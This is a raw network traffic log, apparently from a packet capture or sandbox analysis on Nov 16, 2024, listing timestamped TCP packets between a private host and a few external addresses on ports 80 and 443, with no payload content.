Nov 16, 2024 19:22:32.416294098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418082952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418138027 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418149948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418170929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418184996 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418229103 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418231964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418253899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418263912 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418299913 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418311119 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418343067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418369055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418425083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418436050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418458939 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418486118 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418517113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418528080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418538094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418540001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418567896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418567896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418603897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418603897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418637037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418648005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418658018 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418668985 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418688059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418697119 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418699026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.418725967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.418984890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419028044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419095039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419105053 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419114113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419126034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419131994 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419152975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419173002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419194937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419200897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419207096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419210911 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419218063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419231892 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419239998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419241905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419251919 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419256926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419262886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419272900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419282913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419284105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419325113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419626951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419687986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419698000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419701099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419708967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.419720888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419730902 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419749975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.419996023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420034885 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420094967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420105934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420114994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420131922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420134068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420142889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420166016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420182943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420531988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420543909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420553923 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420579910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420594931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420608997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420619965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420630932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420653105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420666933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420841932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420860052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420871973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420890093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420891047 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420901060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.420942068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420942068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420942068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.420942068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421447992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421490908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421494007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421502113 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421533108 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421541929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421541929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421545029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421580076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421859026 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421880007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421895981 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421897888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421906948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421911955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421938896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.421976089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.421988010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422008991 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.422028065 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.422610044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422620058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422627926 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422660112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.422667980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422677994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422687054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422688007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.422703981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.422729969 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.422875881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422885895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422894955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.422918081 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.422952890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.423252106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423268080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423278093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423286915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423294067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.423297882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423330069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.423352003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.423829079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423840046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423850060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423878908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.423899889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423904896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.423908949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.423993111 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424232960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424242973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424263000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424273968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424282074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424288034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424309015 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424331903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424635887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424659967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424668074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424679995 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424693108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424705029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424743891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424788952 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424812078 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424835920 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424848080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.424848080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.424875975 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425005913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425014019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425055027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425065041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425077915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425086021 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425110102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425124884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425456047 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425466061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425474882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425503016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425510883 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425520897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425529957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425534010 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425544977 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425574064 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425851107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425872087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425882101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425898075 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425910950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.425945997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425955057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.425985098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426270008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426299095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426307917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426340103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426393032 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426409006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426419020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426419020 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426429033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426440001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426443100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426455021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426469088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426495075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426506042 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426525116 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426528931 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426542044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426548004 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426563025 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426573992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426580906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426585913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426597118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.426604986 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426614046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.426630020 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.440211058 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440227032 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440371990 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440421104 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.440525055 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.440542936 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440556049 CET	49858	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.440562010 CET	443	49858	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440642118 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440690041 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.440736055 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440845966 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.440845966 CET	49857	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.440867901 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440881014 CET	443	49857	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.440947056 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.441060066 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.441555023 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.441562891 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.441574097 CET	49856	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.441579103 CET	443	49856	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.446671009 CET	443	49861	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.447432041 CET	49866	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.447526932 CET	443	49866	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.447619915 CET	49866	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.447880983 CET	49861	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:32.447902918 CET	443	49861	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.448218107 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.448240042 CET	443	49861	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.449309111 CET	49867	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.449336052 CET	443	49867	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.449407101 CET	49867	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.449610949 CET	49867	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.449625015 CET	443	49867	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.449748993 CET	49866	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.449785948 CET	443	49866	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.450231075 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.450253963 CET	49868	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.450273037 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.450278997 CET	443	49868	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.450346947 CET	49868	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.450642109 CET	49868	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.450659990 CET	443	49868	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.450886011 CET	49861	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:32.450956106 CET	443	49861	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.451001883 CET	49860	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.451020002 CET	49861	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:32.451029062 CET	443	49860	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.458326101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458337069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458348036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458365917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.458389044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.458398104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458431959 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458441973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458482981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.458487988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458498001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458508015 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458528996 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.458529949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458540916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458549976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458554029 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.458569050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.458596945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.458604097 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.458633900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.462181091 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.462399006 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.462721109 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.462913036 CET	49859	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.462933064 CET	443	49859	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.465692997 CET	49869	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.465770006 CET	443	49869	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.465945005 CET	49869	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.466078997 CET	49869	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:32.466113091 CET	443	49869	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:32.491342068 CET	443	49861	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.553580999 CET	443	49862	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.553872108 CET	49862	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:32.553910971 CET	443	49862	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.554408073 CET	443	49862	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.554791927 CET	49862	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:32.554871082 CET	443	49862	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:32.554933071 CET	49862	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:32.566728115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.566761017 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.566773891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.566792965 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.566829920 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.567938089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.567951918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.567967892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.567981958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.568011999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.568027973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569148064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569169998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569197893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569201946 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569220066 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569222927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569236994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569238901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569252968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569258928 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569267035 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569286108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569325924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569376945 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569399118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569417953 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569441080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569453001 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:32.569458008 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569473028 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:32.569485903 CET	49770	80	192.168.2.5	185.215.113.206
